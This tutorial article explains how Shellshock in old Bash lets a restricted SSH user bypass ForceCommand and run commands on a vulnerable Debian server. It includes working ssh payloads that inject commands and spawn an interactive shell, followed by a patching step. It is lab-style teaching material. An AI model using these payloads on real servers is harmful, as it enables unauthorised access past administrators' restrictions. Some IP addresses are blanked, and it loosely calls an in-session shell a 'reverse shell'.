1. Introduction

OpenSSH supports preventing SSH clients from running commands and spawning an interactive login shell. However, if the corresponding SSH server is vulnerable to Shellshock, the client could bypass this restriction by exploiting the bug and running any command within the client user’s privilege.

This tutorial demonstrates how to exploit the Shellshock bug over SSH on a vulnerable Linux SSH server.

We tested all scripts against a server having Bash 4.2.0 and an IP address of The client has Bash 5.2.15. Both machines run on Debian 12 (Bookworm) OS.

2. Shellshock and SSH

Shellshock is a Remote Code Execution (RCE) bug in Bash affecting its first release up to and including initial releases of version 4.3. It’s caused by a software bug in Bash that runs commands while evaluating environment variables containing a Bash function at the start:

$ env X='() { :;}; echo vulnerable' bash -c 'echo hello'

Here, the X variable begins with a Bash function. Bash evaluated this variable on initialization before running the echo hello command. However, it also ran echo vulnerable, which came after the function body.

In the case of OpenSSH, we can turn off an interactive shell for a particular user or all users. Without this restriction, any authorized user can log in via ssh and run commands within the scope of that logged-in user. For instance, a non-admin user can run only user commands, like working on files within their home directory. However, on enforcing this restriction, the user can neither start an interactive shell nor run commands by passing them to the ssh command.

2.1. Turning Off Interactive SSH Login for a User

Let’s impose this restriction on the server either through the ForceCommand directive in the sshd configuration file, i.e., /etc/ssh/sshd_config, or the command directive in the ~/.ssh/authorized_keys file inside the login user’s home directory. The former is a root-owned file, whereas the latter may be user-owned.

Let’s set the ForceCommand directive in /etc/ssh/sshd_config for the user having the username shocker:

Match user shocker
    ForceCommand echo welcome

Alternatively, instead of modifying this file, we could provide the echo welcome command in ~/.ssh/authorized_keys before the corresponding public key:

command="echo welcome" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAhLrpoBUMN5ihOQ0ihB1LkgNmJi2GvX8Gimh/pIQGrI shocker

Thus, whenever this user attempts to log in from the client via ssh, sshd will run echo welcome and close the connection:

$ ssh -i identity_file [email protected]
The authenticity of host ' (' can't be established
Enter passphrase for key 'identity_file':
Connection to closed.

As we can see, the user can’t access an interactive shell. Furthermore, if they provide a command to run with the ssh command, sshd will copy it into the SSH_ORIGINAL_COMMAND variable but run the forced command only:

$ ssh -i identity_file [email protected] 'echo hello'
Enter passphrase for key 'identity_file':

The output shows that the server ran only the echo welcome command. Nonetheless, since SSH_ORIGINAL_COMMAND is an environment variable, we can exploit Shellshock by passing a command that begins with a Bash function. This provides us with a way to bypass the imposed restriction.

3. How to Exploit Shellshock Over SSH

For a successful Shellshock exploit over SSH, certain conditions must be met:

  • the server has a vulnerable Bash version
  • the client has a valid SSH key
  • the client user’s login shell points to the same vulnerable Bash; otherwise, having a non-vulnerable version of Bash or having a different shell as the login shell, such as zsh, won’t result in an exploit
  • the server restricts the user’s SSH access using the ForceCommand or command directive, as shown earlier; otherwise, the user can directly log in to access an interactive shell

When exploiting this bug, the client can leverage the ability to run arbitrary commands to spawn a reverse shell.

3.1. Running an Arbitrary Command

Let’s pass a command that shows the path of the user’s login shell:

$ ssh -i identity_file [email protected] '() { :;}; echo USER=$USER and SHELL=$SHELL'
Enter passphrase for key 'identity_file':
USER=shocker and SHELL=/bin/bash

Thus, we could run echo USER=$USER and SHELL=$SHELL on the server side by supplying a malicious payload. After Bash ran the echo command, sshd ran the forced command and closed the connection.

3.2. Spawning a Reverse Shell

Let’s run the bash command in an interactive mode by exploiting Shellshock to spawn a reverse shell:

$ ssh -i identity_file [email protected] '() { :;}; bash -i'
Enter passphrase for key 'identity_file':
bash: no job control in this shell
shocker@ssh-server:~$ bash --version
bash --version
GNU bash, version 4.2.0(1)-release (x86_64-unknown-linux-gnu)

Thus, we spawned a reverse shell over the same SSH connection. The connection is still open for running further commands. However, the logs show a warning that this shell doesn’t provide job control, such as moving a job to the background or foreground.

4. Patching the Vulnerability

Since Shellshock is a vulnerability in Bash, upgrading Bash to a patched version will fix it. Let’s perform an upgrade on our server:

$ sudo apt-get update
$ sudo apt-get install --only-upgrade bash

Now that Bash is up to date, let’s verify that the server isn’t vulnerable to Shellshock:

$ ssh -i identity_file [email protected] '() { :;}; echo USER=$USER and SHELL=$SHELL'
Enter passphrase for key 'identity_file':

As shown in the output, only the forced command ran. This implies that we successfully patched the vulnerability.

5. Conclusion

In this article, we studied how to exploit Shellshock over SSH on a vulnerable server by passing a potentially malicious payload with the ssh command. Initially, we examined the scenario in which SSH was vulnerable to this bug. Then, we learned how to run arbitrary commands and spawn a reverse shell using the interactive mode of the bash command. Lastly, we saw how to patch the vulnerability by upgrading Bash.